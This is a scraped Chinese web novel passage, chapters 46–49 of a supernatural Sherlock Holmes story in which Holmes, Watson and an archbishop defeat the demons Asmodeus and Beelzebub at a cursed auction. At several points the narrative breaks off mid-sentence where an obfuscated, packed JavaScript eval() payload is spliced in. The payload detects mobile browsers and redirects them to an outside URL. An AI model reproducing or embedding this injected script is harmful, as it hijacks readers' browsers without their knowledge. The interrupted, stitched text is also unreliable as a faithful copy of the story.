按理说第一个死在混乱中的主持人，竟然重新从血泊里爬了起来。 他的头只剩下了一半，似乎是觉得只剩下一只眼睛视物实在不便，他随手从地上抓起一只滚落的人头，粗暴地将其塞到自己破损的半个头颅旁。 肉块蠕动，吞噬完一半的头颅后，再继续粘连续接，最后组成一个看起来格外惊悚恐怖的“拼装头颅”。 他晃了晃，像是很快就良好适应了自己这个新脑袋。 “人类的躯壳，有时真是脆弱得麻烦。” “别西卜！” “你为了一口吃的，竟然随便找了一个躯壳，强行将自己塞进来吗？！” 人偶少女沉着脸，祂背后尚有一半的翅膀还未能从虫茧中诞生，实力也没能在人类维度达到最强，所以连说话的底气都不是很足。 主持人发出嗤嗤的笑声。 “我们不都是为了那口吃的，才来这里的吗？” 阿斯莫德的头突兀地拧过一百八十度看向立于主持人背后的韦托。 “人类！你胆敢骗我！” 祂的力量即刻顺着韦托的仪阵反向侵蚀，但力量反扑的刹那，连接的尽头竟是一片虚无。 阿斯莫德尖叫起来，“不可能！是谁帮你断开了烙印联系？！” 别西卜看戏一样，火上浇油地说道： “欺骗也非魔鬼的特权，阿斯莫德。” 祂的嘴角弧度越裂越大，直至口腔反过来包住了头颅。 过于尖利的牙齿是祂为这次大餐准备好的餐具，就算已经吃了不少灵魂，祂依旧饥肠辘辘，需要更丰盛的食物来填饱自己的五脏六腑。 不需要更多的技巧，暴食的恶魔头颅盛放成长满尖牙的恐怖之花，长舌犹如铁鞭甩过，勾起悬挂于房梁与阿斯莫德蝶翅之间的某只白色虫茧，就硬生生撕下甩进自己的口中。 人偶少女发出尖利的叫声，蝶翅上无数瞳眸颤动，流露出极度的愤怒。 那是祂用于降临于世的口粮，现在竟然被这样的强盗夺走！ “就算这里逐渐沉入深渊，你在这具破烂的容器里又能坚持多长时间！” 阿斯莫德挥动着翅膀，鳞粉是飘逸着花香的剧毒，吸入一点就足以杀死任何活着的普通生物。 祂越来越像人类的白皙手臂一挥。 鳞粉沾染的血肉与白骨重新组合，被捏造成恐怖的怪物向别西卜扑去。 “等我吃了你以后，我一样有容器能回到人类维度。” 还穿着西装，打着领结，但头颅已经化作惊怖血肉之花的主持人如此说道。 两个高纬存在的降临将这片空间的力量搅得一团乱，一路往深渊滑落的拍卖会场环境中逐渐异变。 房梁上悬挂的白色，时而化作随风飘荡的轻盈丝线，时而又变成沾染着血迹的人类残肢断臂。 桌椅开始发出喀拉喀拉的声响，无机质的死物像是被注入错误的生命，活动着自己的躯壳，藏进满地的血肉中，再孵化作形似蜘蛛的恐怖生物朝着空中的巨大蝴蝶前仆后继地咬去。 舞台之外的地面变得柔软、滑腻、冰冷，同时散发着一阵接一阵的腐烂恶臭，仿佛所有人正置身于一块逐渐腐烂的尸块上搏斗厮杀。 韦托暂退，直到将自己暂时隐藏在帷幕后的黑暗里，才沉着脸对周围说道： “事到如今，您还准备继续藏在幕后吗？” 有一道脚步从黑暗里传来。 本笃大主教漫步走来。 “不愧是福音教会的四阶大主教之一。”韦托紧盯着他，“哪怕堕入深渊，也没有被轻易异化。” 本笃说道：“我原本是为调查汉格尔家族是否与魔鬼有联系，但没想到你的目的更令人吃惊……孩子，你知道自己现在的所作所为，就足够叫骑士团当场将你的头砍下吗？” 韦托扯出一丝冷笑。 “但大主教，这里已经没有其他活人了，汉格尔家族的人会提前拦住白骑士团，他们进不来的。” “而你的调查，就是为了来这里散步一圈吗？” “如果只有我一人在此，我的确需要疲于救人。” 本笃说道。 “这一点必须感谢华生先生与福尔摩斯先生的帮助。” 漆黑的帷幕微微收拢，这时韦托才发现黑暗的深处还倒着不少昏迷的活人。 他脸色一变。 如果这里面的都是活人，那么刚刚在舞台上被吞吃的又是什么？ 这样的手段已经不是一位四阶的使者可以施展的，难道还有另外他不曾知晓的超凡存在降临？！ “哈德森太太数不尽的藏品里总是有非常实用的，可惜每次采购都不能超过三件。” 另外两道脚步声从他们背后传来。 韦托猛然回头，看见戴着面具的两人自黑暗中走出。 他刚才丝毫未能感知到还有人存在。 能在两个魔鬼的视野范围内隐匿自己的身形，这到底是有多强的力量？！ “你们……”韦托谨慎地站在距离帷幕边缘一步之遥的地方，“的目的是什么？” 他们明显既不是为了本次拍卖品而来的普通宾客，也不像帷幕之外两只魔鬼的狂热信奉者。 “加西亚先生。” 矮个的男人先开口说道： “我们是为了解决怪癔而来。” 韦托认出了这个声音的主人，刚才本笃大主教说的“华生先生”，竟然就是曾经拜访过他店里的那位医生。 “是你！” 韦托难以置信。 “你果然不是普通人！” “不，我只是一个普通人而已。”约翰诚恳地说道：“如果没有朋友的帮助，我的确不可能站在这里。” 歇洛克的目光扫过他们。 他暂时没有说，能够躲开两个不完全降临的魔鬼，安然站在幕后对话的原因，绝不仅仅是因为他在之前吞食了嫉妒的魔鬼利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你率先背叛与阿斯莫德的协定，转而与暴食的魔鬼别西卜再度定下合作的承诺。” “别西卜替你抹除了色/欲的烙印，不可能不在你的灵魂上留下控制的新烙印。” “但你现在灵魂深处的烙印似乎也并不代表着暴食。” “你连别西卜也一起背叛了。” “你新的‘效忠’对象是谁？” 韦托低声笑了起来。 “竟然已经全部被发现了吗……” 下一秒他的身影已经快得像一道残影，朝着三人中最弱的一人出手。 “幕后就交给你们了。” 歇洛克拉住约翰的肩膀，率先往前踏出一步。 “既然已经犯错，何必仍旧知错不改！” 本笃严肃起来。 没有笑容的苍老面容，犹如教堂彩绘画面中审判世人罪孽的大天使。 袖中一盏金杯被他拿在手中，从倾斜的杯口中流出的金色犹如灵动飘逸的长带拦住韦托的道路。 “不管你背后又是谁，但好戏正在台前上演，为什么还缩在幕后。” 韦托瞳孔微微放大，看见的是那位戴着黑色面具的高个男人擒住了自己的脖子往后压去。 帷幕掀开一角，他们两人同时落向战况最为激烈的舞台正中！ 46.46 沾染这瑰丽鳞粉的丝线，与生出腿脚的血肉桌椅同时向那两个新鲜的口粮扑了过去。 韦托脸色巨变，怎么也没想到对方毫不顾及自己的安危，选择直接以身犯险，把自己和他两人同时推向危险的舞台聚光灯下。 此时阿斯莫德被别西卜抓住机会重创，还未完全降临的身躯被困在两个维度的夹缝间，反而成了后者大快朵颐的好机会。 此时少女人偶背后的蝴蝶翅膀已经被血肉包裹，化作蜘蛛模样的怪物撕咬大半。 祂的尖啸成了别西卜味蕾盛宴中愉悦的背景音。 暴食的魔鬼将大半的精力都从那个并不完全合适的主持人容器中，转移到更合适的人偶身上。 那只极为精巧的人偶脸上此时反复出现着两种截然不同的神色，时而是娇俏的狰狞，时而又是癫狂的食欲。 两个灵魂不留余地地互相争夺唯一身体的控制权。 见到突兀闯进战场的人类，阿斯莫德先尖叫起来。 “韦托！帮我！一旦别西卜吃掉我，你永远也不可能知道真正的万灵药方剂！” 别西卜倒是有些意外，这里除了韦托以外还有第二个人类活着。 祂谨慎地观察那个不知为何毫无气息的男人，同时祂对韦托说道： “你可别忘了祂满口谎言，所谓的万灵药救不活你的妻子，但我向你承诺，一旦我降临于世，我将如实告知你，怎样打开天堂的大门，让你和妻子的灵魂重新团聚。” 暴食的魔鬼语气循循善诱。 “你的妻子是个好人，死后会前往极乐的天堂，但你自己是什么样的人……你应当自我清楚。” 阿斯莫德操控的人偶眼中闪过一丝讥讽。 “他的妻子——哦！你是说那个可爱的罗莎。” “可怜的韦托还要进行自我欺骗吗？明明也没有喝下自己制作的万灵药——咕！” 来自灵魂深处的尖锐疼痛让阿斯莫德不得不闭嘴。 祂尖叫着，【别西卜，你疯了！你现在用所有的力量吞噬我，其他竞争者也足以将虚弱的你吃掉！】 已经咬住祂灵魂本体一部分的别西卜狞笑着。 【但还有谁知道现在发生的这一切？在场那些人类已经死了，他们体内的烙印通道都被我切断，其他家伙没有途径知晓这里发生的一切，而你的棋子已经被打上我的灵魂烙印，动动你那愚蠢的脑子想想，利维坦指不定已经被我们当中的某个吃掉了。】 阿斯莫德惊恐不已，【是你？！】 【可惜不是，我倒是希望自己有机会先行品尝。】别西卜嘲讽地说道，【也许是贪婪或者傲慢……当然也有可能是，那总是号称自己没有兴趣追逐‘果实’的懒惰。】 这片空间还在继续坠落，如果有专用的检测仪器还能在这里正常使用，就会报出一个足以吓晕大部分神秘学研究学者的深渊维度数字。 -10的维度里，帷幕之外的舞台已经看不出原本的轮廓。 这是两个怪物狰狞盘踞的战场。 韦托感觉自己身体内的每个血管都在发痒，好似血液已经化作丝线，想要一路从里往外钻破皮肤的禁锢，享受自由的空气。 他感觉到尖锐明显的痒从身体内传来，可当他伸手抓挠的时候，皮肤就像脱水的树干表皮，轻轻一碰就会脱落。 他的手僵在原地，逐渐混沌的思绪里有本能的想法在告诉他。 ——停下自己的手！这样下去，他很快就会死！ 这时，那些想要“破土而出”的丝线在要他抬头仰望。 韦托抬头看去。 一把锋利的匕首，被一根丝线垂掉送到了他的眼前。 妻子罗莎的哭喊从上空传来。 ——“韦托！” 她被一只恐怖的血肉蜘蛛咬住了后脚踝。 即便她努力地挣扎，似乎也无法抵抗即将沦为食物的残酷命运。 ——“韦托！救救我，救救我！我们说好要一起去全世界旅行的！我们的花……我们刚种下的花也还没有盛开！” 罗莎求救哭喊的声音里，带着明显惊慌的哭腔。 她像是将所有的希望都放在了丈夫的身上。 ——“我们还有很多事情没有完成，我不想离开你……韦托！” 韦托一把攥紧了眼前的匕首。 瞬间，他掌心的皮肤，就像触碰到某种具备极强腐蚀性的化学药剂一样，被腐蚀得能够看到森森白骨。 他怒吼着拿起匕首，毫不犹豫地朝着前方刺出。 *** 几分钟前。 在进入舞台的一瞬间，歇洛克的身形就从原地绕开。 背后隐蔽袭来的丝线扑了空，和地上的血肉蜘蛛撞在一起，随后再度爆发新一轮互相吞噬的残酷战斗。 【你到底是谁？】 别西卜阴冷的声音从某只蜘蛛怪物的口中传来。 这里的血肉怪物都是祂的分身和爪牙。 对于祂而言，一心多用并非什么难事。 阿斯莫德抓住机会。 【既然你不吃，我就先收下了！】 丝线犹如敏捷的长蛇，往戴着黑色面具的男人那里再度扑去。 歇洛克动作果断，翻身一跃，风衣后摆好似飞鸟尾羽轻轻摆动，就躲过了这次攻击。 然后他屈膝抬脚，在某个时机猛地往下一踩。 那轻盈摆动的丝线就像老鼠的尾巴，被他毫不客气地踩在脚下。 【蠢/货！】 【能看到你我的家伙会是普通使者或者恶魔吗？！】 别西卜的声音阴冷至极。 【你到底是谁的容器化身？！】 【我分明没有感受到任何烙印的痕迹和气息！】 阿斯莫德的语气急躁到像是几乎失去所有的理智，然而祂的视线一半分给了垂着头，仿佛已经无法跟上这样战况而呆滞在原地的韦托。 【那不如你去试探看看。】 【如果是人类，那不妨把他的灵魂让给你，当做补充力量的口粮。】 别西卜讥笑着，但不妨碍祂存有将阿斯莫德当做试探用棋子的想法。 【这可是你说的！】 阿斯莫德一感到禁锢自己的力量稍稍放松，就操控着丝线铺天盖地地往那个男人的正面杀去。 但侦探就这样站在原地丝毫未动，像是完全不担心自己就此受伤死亡。 阿斯莫德微微眯起眼眸，残破的蝶翅颤动着掀起狂风。 丝线看似纤细，但用于屠戮弱小的存在是绰绰有余的。 可，伫立于此的这个男人是弱小的存在吗？ 就当别西卜注意着他的动作时，犹如海浪一样的白色丝线却猛地拔地而起，化作万千细密的钢丝之雨齐齐扎进受到别西卜控制的人偶左眼中。 阿斯莫德的目标从最初就不是那个人类！ 暴怒的魔鬼发出哀嚎的瞬间，阿斯莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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蝶翅震颤，展露出进食的狰狞口器。 但攻击尚未降落，一根圆棍就抵到祂本体的命门前。 阿斯莫德僵硬地抬起头。 祂认出来这是一根手杖。 但一根手杖为什么也能被带入深渊？为什么还能这么精准无误地抵在祂的命门上？为什么只要轻轻用力，就能将祂杀死？ 【你不是人类……你也不是魔鬼！】 阿斯莫德惊恐地看着祂。 越是堕入深渊，人类的形象外表越难在这里继续维系。 可这个男人还能完整无缺地继续使用这副皮囊，可见对方实力必定强大。 这根本就不是什么强大的人类……这分明是伪装成人类的某种怪物！是哪怕和祂们对比，也非同类的某种更强的怪物才对！ 【如果你的目标也是‘果实’，那我们完全可以在这里联手！】 【不管是傲慢还是愤怒，还是……祂们都不是好对付的，不是吗！我愿意将最后的大半‘果实’都相让！】 阿斯莫德的身形不断变换成。 鳞粉洒落的刹那，时而变成敦厚无助的男人，时而变成楚楚可怜的女人，时而变成孤苦伶仃的孩子，时而又变成无依无靠的老人。 但歇洛克只是冷漠地看着祂。 那种眼神令祂感觉毛更悚然。 祂不得已咬咬牙，愿意割让更多的利益。 【我将所有的‘果实’都给你！只要你不杀了我！】 47.47 “你好像误会了某些事。” 面前男人犹如坐在沙龙里，和其他人讨论着今日伦敦天气如何的英伦绅士。 他低头看着将模样定格在看起来格外无害诚实中年男人姿态上的魔鬼，心中猜出祂或许是从某些蛛丝马迹里，窥见些许他和医生的联系。 都是这样看起来非常真诚的人，仿佛跪于教堂神像前祈祷时，都会被认作是格外虔诚的信徒。 但一个是坦率的真挚，另一个却是虚假的伪装。 阿斯莫德脸上可怜的伪装快要维系不住了。 【刚才那一击和匕首的致命伤，马上就会杀死别西卜！到那时，这里整片的空间都会坍塌，变成再也找不到出口的迷宫！】 【你是想困死在这里吗？！】 名为歇洛克·福尔摩斯的侦探摇头。 “准确来说，死在这里的只有你。” 【狂妄的家伙！你必要付出代价，来为此赎罪！】 阿斯莫德不再伪装。 空中万千瑰丽的蝶翼颤动着发出无法被寻常人理解的嗡鸣，鳞粉在四周的黑暗里再添几分令人头晕目眩到快要呕吐的脏色。 那些曾经纯白的丝线不知何时已经被染成了污秽的黑色，比起之前美丽的醒目，它们现在看起来更像带着杀意，潜入更令人难以发觉的黑暗之中伺机而动。 然后蝴蝶们发出哭泣一样的哀鸣，如雪的鳞粉落下，藏住后方黑暗里如箭一样急速射出的黑色丝线。 蹭——！ 黑色的礼服外套当即被射穿无数的空洞，但原本穿着这件衣服的人已经不在原地。 【在哪儿？！】 阿斯莫德愤怒地看向四周。 【在这里。】 一根手杖从黑暗中猛然探出，快得只在感知中留下些许的残影。 随后它另一头的弯曲扶手处，化作死神的镰刀卡住了祂如同人类脖颈的命门处，压着祂往后方痛击。 本不应当被感受到的窒息感让阿斯莫德感觉到惊恐和绝望。 死亡距离祂真的只有一步之遥。 这是比祂设计杀死别西卜时，更强烈的预感。 因为别西卜一向看不上祂依靠玩弄感情和身体的做法，去收割人类的灵魂。 在祂看来，这是相当低效的手段。 所以，在祂要杀死吞噬自己之前，带上了鄙夷的轻视。 这是让祂反杀的机会。 因为祂实在清楚，人类这种生物天生受到情感羁连。 没有任何任何羁连的“人”，是恶魔，是很容易被这个维度中，维系秩序的一方去清扫的一次性棋子。 还留有羁连的人，却能一直被祂反复利用，直到榨干最后一点存在的价值。 就如韦托·加西亚一样。 只要在紧要关头，在伪装成罗莎的样子，他还是会不顾一切…… 不顾一切…… 不顾一切……？ “是啊……” “不顾一切！” 白骨手持着匕首不顾一切地冲了过来。 刺杀了别西卜的刀锋这次直接穿透阿斯莫德的心脏！ 阿斯莫德赫然发现自己此刻根本无法动弹！ 那根手杖禁锢了祂的行动，但不是即将杀死祂的真凶，身后拿着祂递出去匕首的人才是真正要杀死祂的存在。 ——“韦托！” 阿斯莫德摇身一变，回头的时候就变成了眼角含泪的罗莎。 ——“你还要再欺骗我一次！再让我伤心失望一次吗！” “别拿你的玩笑，再继续玷污罗莎！！！” 韦托的两条胳膊与半张面容都已经被腐蚀成阴森恐怖的白骨，如果此处并非深渊维度的世界，他早就会因为现实维度的铁律而宣布死亡。 但眼下，他的意志仍旧在驱动这残破不堪的身躯强制行动起来。 他的面容狰狞扭曲。 “罗莎怎么可能是你这样的！” 他唯一的精神支柱，他受到魔鬼统治，却没有完全堕落深渊的唯一锚点。 他的爱人，他的妻子，他的光。 已经全然不见了。 她甚至连天堂也未曾前往，就丧生在魔鬼的餐刀下。 痛苦折磨得他每日绝望不堪，即便他冷漠地看着他人痛饮当做抚慰灵魂伤疤的万灵药，他也未曾有过一丝心动。 软弱的是人，坚强的也是人。 从罗莎死去的那天起，就只剩下复仇的火焰在他心头熊熊燃烧着。 魔鬼的伪装与把戏，店内那个虚假的人偶都是在时刻提醒他，别忘了为复仇燃尽一切。 他倒地不起，像是看见罗莎当年在阳光下，与他一起依偎坐在草坪上的身影。 他在这些年里谋杀过太多人，他理应在受到如此酷刑死去。 但他最后还是贪恋罗莎笑起来的样子，没有告诉那她…… 红玫瑰轻笑。 匕首刺进魔鬼的心脏。 这把匕首已经在刚才的实战中证明了它的实用性和有效性。 它能杀死第一只魔鬼，自然也能杀死第二只。 阿斯莫德的脸扭曲起来。 【萨麦尔！】 祂像一条垂死的害虫尖叫着，面部的轮廓从罗莎的模样，闪烁切换着不同的五官组合，最后又崩坏成虫类那恐怖非人的感觉。 祂对人类的傲慢，与暴食的魔鬼看待自己时其实别无二致。 于是这份轻视化作祂亲手打造的凶器，最后又因它丧命。 在他们背后死去的人偶，用一只浑浊无光的眼眸看着阿斯莫德，仿佛在嘲笑着什么。 玫瑰从匕首的表面探出，变换成一只手攥紧了阿斯莫德的心脏。 现在祂终于明白别西卜的死亡，不完全是自己的力量，实际还有暴怒的力量暗藏其中搅乱局势。 韦托为了自己的目的，不顾一切、不择手段地选择背叛了两个魔鬼！ 这一刻这把匕首化作神秘意义上的囚笼，同时拘束困住了色/欲、暴食两个魔鬼的力量，然后吞噬它们！ 【你以为——】 “——我死了，你们——” 【——也——】 “不可能活着出去！” 【——去死！去死！去死！——】 “——去死！去死！去死！——” 断断续续的，部分片段无法被人类所理解的言语，如同某些具备强烈攻击性的实质武器刺穿周遭的一切。 既然死亡已经注定！ 那祂要拉上更多的人陪葬！ 三个魔鬼的力量足以将这整片的空间都搅得破碎。 想要在这里一次性全部吞噬消化这些力量不可能，他们需要一个容器或载体容纳锁住它们！ 歇洛克面色凝重。 他第一时间对幕后喊道：“约翰！” 约翰带着一只看起来平平无奇的黑匣子毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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祂捏住了那只匕首，要将其抽离战场的中心，并带出“巨大的盒子”之外。 【哦？】 那片被凝固的黑暗动了动，像是无法被“手”抓住的水流从看不见的缝隙里漏过。 侦探的眼睛眨动了一下，医生的手指偏移了一点。 一面古典的黑镜偏移了笔直伫立的角度，变成了微微仰起看向上方的模样。 舞台四周的黑暗仿佛被惊醒的浪潮，猛然汹涌起来。 数不尽紧闭的眼球从黑色浪潮中像泡沫一样浮现，最上方的那颗眼球像是微酣将醒，即将睁开眼眸。 【已经拥有自我的意识了……之前的决定，看样子反而是节外生枝。】 【人类的‘盒子’只能由人类自己打开……】 【拿不走被那盒子关上的本体，就只能先拿走部分了。】 “手”虚空从那把即将被【黑匣】收走的匕首上方抓走了什么，星星点点的微光消散后，匕首本身鲜亮的纹路图案忽地变得暗淡古旧几分。 不过等到一切“回归正轨”的时候—— “手”带着自己想要的东西离开。 巨大的盒子被重新合上。 当黑暗再度笼罩前台幕后的时候，时间重新流逝。 那抹赤红像是在无意间意识到了什么，转而只咬下一小块力量就拧身迅速离开。 流动的黑色迅速折叠，最后将那只匕首猛然关在匣中。 喀。 黑暗彻底笼罩了这里。 48.48 呲—— 杯中燃起了灿金的火焰，照亮迷途羔羊前方的归途。 穿着白色斗篷的老者举杯过头顶，化作前方一颗闪烁微光的星，引领所有双目微睁，但动作迷茫的人群穿过漆黑的帷幕，往光明的地带走去。 他们统一排成了直线，像固执的蚁群追随光明的指引，从那狭小的夹缝中逃生离开。 老者口中哼唱着一首广为流传的童谣儿歌。 帷幕之外是一座看起来装饰豪华的大厅。 正是之前宾客们从黑街拍卖会正门入内的地方。 只不过，此刻这里已经被一堆人填满。 穿着白袍，衣角绣着金丝十字架的修士修女们沉默地拱卫最前方的一名长裙年轻少女等候在门前。 福音教会之后就是雷斯垂德率领的第四组人员，此时他们正小心地接引那些仿佛陷入梦游的人们进入另外的房间，稍后将有来自皇家医学院专门的医师为这些人进行“心理辅导”，以防魔鬼降临的消息泄露，造成不可挽回的糟糕影响。 一丝不苟穿着白大褂的亚伯兰挨个点过那些浑浑噩噩的人群，有条不紊地让受伤严重的人先去接受治疗。 他属于白骑士团第一组，和雷斯垂德算得上是关系很不错的同僚。 “没想到本笃大主教也在这里，甚至还带上了【圣杯】。” 雷斯垂德满脸是事后又要准备打报告的苦涩。 “应该说还好大主教带上了【圣杯】，我没想到，即便是【无面人的马车】也无法进入那片空间。” 大厅里，一辆看上去格外普通的公共马车停在角落，丝毫不引人瞩目。 俊俏的黑马打着响鼻，嘴里似乎在嚼着些什么。 有骇人的惨叫传来，但都被路过者默契地忽视。 大厅另一边。 汉格尔家的小儿子，也就是这座敛财拍卖场的幕后拥有者，之前与韦托在拍卖正式开始前交流的人。 他跪倒在一位仿佛中世纪时期走出来的高大骑士前，正痛哭流涕。 “我也没想到那位主持人竟然被魔鬼替换，一切都是那个叫韦托·加西亚男人的错！他必定是利用某些蛊惑人心的手段，我才会同意那些事情！” 他竭尽所能地要把关系全部撇尽。 “我真的是被蒙骗才会干出那样的事情！请让我联络家父，我会解释清楚的！” 高大的骑士正是白骑士团第七组组长弗雷德里克·赫尔斯。 英勇的骑士看着他，手中的长剑像是插入奶油一样笔直地擦过他的脖子，立在昂贵的瓷砖地面上。 “认清楚你在和谁说话。” “你是在和女王的代表说话。” “你知道这次有多少人因为感染怪癔死亡或者备受折磨吗？根据女王的旨意，你会由我们直接押送裁判庭，在那里，女王将亲临【罪孽之湖】，和审判委员会一起审视你的记忆，并下达判决！” 汉格尔的脸色一片死灰。 “不……不！父亲……！父亲！父亲是最宠爱我的，他一定会——” 弗雷德里克面无表情地看着他。 “汉格尔公爵已经听闻女王下达的旨意，并在三十分钟前以有血缘亲属关系为由，申请了审判回避，所以他是不会到场的。” “不！” 此时汉格尔脸上只剩下绝望。 若是此刻还有魔鬼作为最初始的感染源存在，或许他也会因此痛苦染病。 当审判宣告传达的时候，漆黑帷幕里的最后一人终于现身。 本笃站在缝隙的边缘，仍旧举着手中犹如明烛一样的【圣杯】，像是指引着还身处其中的人找到出口的方向。 站在最前方，穿着及地长裙的少女轻声说道： “老师，就算是您，恐怕也不能使用【圣杯】的时间过长，它会把您燃尽的。” 哪怕没有进入帷幕，她也能感受的到，那门后的黑暗中翻涌着种种人类无法用言语形容的无形恶意。 她都觉得抵抗略显吃力，普通人进入现在门后的世界，恐怕当场就会精神崩溃，发疯死亡。 如果不是老师用【圣杯】的力量引路，刚刚那些宾客有大半都会直接余生痴傻，甚至堕落异化成难以想象的恐怖怪物。 本笃摇摇头。 “如果我现在把‘门’关上，这里就彻底成了一个新的盒子。” “我剩下的‘力量’，不足以再一次借用【圣杯】打开盒盖，那么那两位就很难再出来了。” 少女想了想，“那我来接替您一段时间。” 本笃温和地拒绝了她。 “好孩子，谢谢你的好心，不过这次太危险，还不是未毕业的你能处理的，在我倒下前，尚且不用你承担如此危险的重担，你只需要在合适的时候尽自己所能就好，等你再长大些，就能接过【圣杯】……更何况，那两位英勇的绅士也并非软弱逞能之辈……来了！” 门后，属于帷幕之里的世界，竟是不断传来建筑崩塌的巨大声响。 这样的感觉，让置身于现实维度的人也有轻微的摇晃感，仿佛他们就位于震源中心附近，感受着地震的余波不断扩散到自己周围。 所有人身体紧绷，下意识看向那扇微开的大门。 ——！ 下一秒，两个人踩着崩塌的黑暗余波，轰然冲出大门。 “桃瑞思！”本笃喊道。 他握住金杯的手背上青筋尽显，动作像是极力推门闭合，但门后有什么重力抵住了他，甚至还想破门而出。 长裙少女毫不犹豫上前一步，眼眸中明光闪烁，伸手和自己的老师一起捧住那精致的金杯。 【圣杯】仿佛燃着火光的烛灯，少女触碰到它的瞬间，好似烈火浇油，让燃烧的金光更亮眼几分，最后形成一股强大的力量，瞬间压过门后的黑暗！ 终于—— 咔哒一声，门扉关闭，盒子重新被从外部合上。 原本应当是拍卖会会场的空间就这样突兀地凭空消失在人们视线中，甚至不过多时，连它的存在也会一并消失在人们的记忆里。 桃瑞思后退几步，手在脱力般的颤抖。 本笃松开【圣杯】。 那只耀眼的金杯在失去燃料后很快恢复成一只精美的装饰物。 福音教会的其他修女修士，迅速将其收纳进一个方方正正的白色大理石箱子中。 本笃这才显露几分疲惫，但不忘叮嘱： “这扇门要送到圣保罗监狱，非三阶以上的使者不可触碰，以防被门后残余的魔鬼力量影响感染。” 然后他看向最后冲出的歇洛克和约翰。 “两位先生，你们没事吧？” 和他们之前在金玫瑰庄园比起来，今天的情况算是好很多了。 约翰护着怀里紧闭的【黑匣】，头晕脑胀地抬眼看过去的时候，才发现真的如歇洛克所说。 在理性无法判断出口道路在哪里的时候，不如先按照他的直觉走，没想到真的找到了出口方向。 但还是要感激本笃大主教为他们最后留下门的方位。 “谢谢您手里的明光了！”约翰诚挚地感谢：“如果不是您，我们很难成功逃生。” “能够帮到两位好心肠的绅士，也是我的荣幸。” 本笃笑道。 终于等到本笃大主教和他们说完话，雷斯垂德三步并两步窜过来，拽过满身狼狈，但受伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038281|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不重的约翰。 “华生医生！当时拿到拍卖会邀请函的时候，不是说动静不会很大吗？！” 结果现在光是白骑士团就到齐了三组人马，连福音教会的本笃大主教与圣女候选人之一也到场。 更不提女王陛下因此事，准备拿汉格尔家族开刀又会引起怎么样的余震波动。 对了，还有多个超凡物品调动申请，需要事后补写申请材料…… 不难想象，接下来的几个月里，他作为最初参与谋划这件事的人之一，将会奔波到什么程度。 约翰尴尬地笑了笑。 “真是非常抱歉……” “不过没有想到这次有三个魔鬼的力量参与其中，那个时候已经是紧急情况了……” 所以完全管不上最初说要低调行事这件事。 听到雷斯垂德对约翰大倒苦水，和本笃、亚伯兰、弗雷德里克几人交谈几句后的歇洛克走来。 “雷斯垂德，不如收起你无用的抱怨。” “约翰说的没错，相信你在那个时候，那种情况下，应该也会做出相同的选择，否则今天陷入深渊的可就不是一个拍卖会场的空间大小，最糟糕的可能是，整个伦敦都会被深渊吞噬消化。” 雷斯垂德当然明白这个道理。 要是他也身处门后的世界，毫无疑问，他也将做出封闭盒子，防止伤亡进一步扩大的选择。 他叹了口气，没有继续纠结刚才抱怨的事情，转而提起了另一件事。 “对了，当你们进入拍卖会后，我们突击检查了加西亚魔药店。” “店主韦托·加西亚的妻子……‘罗莎·加西亚’当场死亡。” “但说死亡或许不是那么准确，她更像是萤火一样直接消散在我们的眼前。” “就当要求她和我们一同前往审判所的时候，那位只是沉默的女士就像已经预感到了什么一样，忽然泪流满面地说，自己也很快将追随丈夫韦托的脚步而去，她将所有有效的药剂配方都留在柜台的第一个抽屉里，算是她自己最后能做出的赎罪。” 约翰一愣。 说到这里，雷斯垂德的语气有些惋惜。 “韦托·加西亚做过诸多恶事，理应受到严惩，但这名女士分明是善良之人，韦托的事情定罪其实并不一定会波及到她。” “但是，歇洛克……我记得之前魔鬼不是曾经提及，韦托真正的妻子已经……” 约翰不确定地看向好友。 侦探点燃了自己的烟斗。 “约翰，还记得韦托·加西亚说他无法自己创造一个奇迹吗？” 约翰反应过来。 “这……就是奇迹的具现……？” “韦托的爱与思念，让罗莎从记忆的长河里重生，这本身就是一份奇迹了。” “然而他误以为这是魔鬼的诅咒。” “魔鬼从不解释，乐意见到人类的灵魂自我折磨。” “如今韦托身死，这份奇迹的结晶自然也随之消散。” 歇洛克的声音，让约翰与雷斯垂德沉默。 侦探看了两人一眼，拍拍他们的肩膀。 “每个人最心底的人生、理念、想法，都不是他者能轻易干预撼动的。” “总之……这件事算是告一段落，相信不久后怪癔的问题也能随之解决。” “对了，这次更可能是你职位晋升的机会，报告和材料好好加油。”歇洛克说道：“先在这里恭喜你了，雷斯垂德。” 雷斯垂德瞪大眼睛，“嗯？等等！这是真的吗？！” 但这次侦探没有解释，他摆摆手，像人类一样笑笑。 “敬请期待吧。” 【怪癔 完】 49.49 今夜的伦敦也是一如既往的被浓雾笼罩。 金钱与犯罪，如同流动在黄铜铁管中的蒸汽，一起组成这座大都市的日常基石。 “站住！” 昏黄的路灯下，约翰与雷斯垂德共同追击前方一位罪犯。 说来也是巧合。 原本他只是与歇洛克一起去欣赏了一场音乐会，然后在外用餐的时候，就碰上了餐厅里的凶杀案。 碍于死者的社会地位不低，现场当即就被苏格兰场封锁，使他们暂时无法离开。 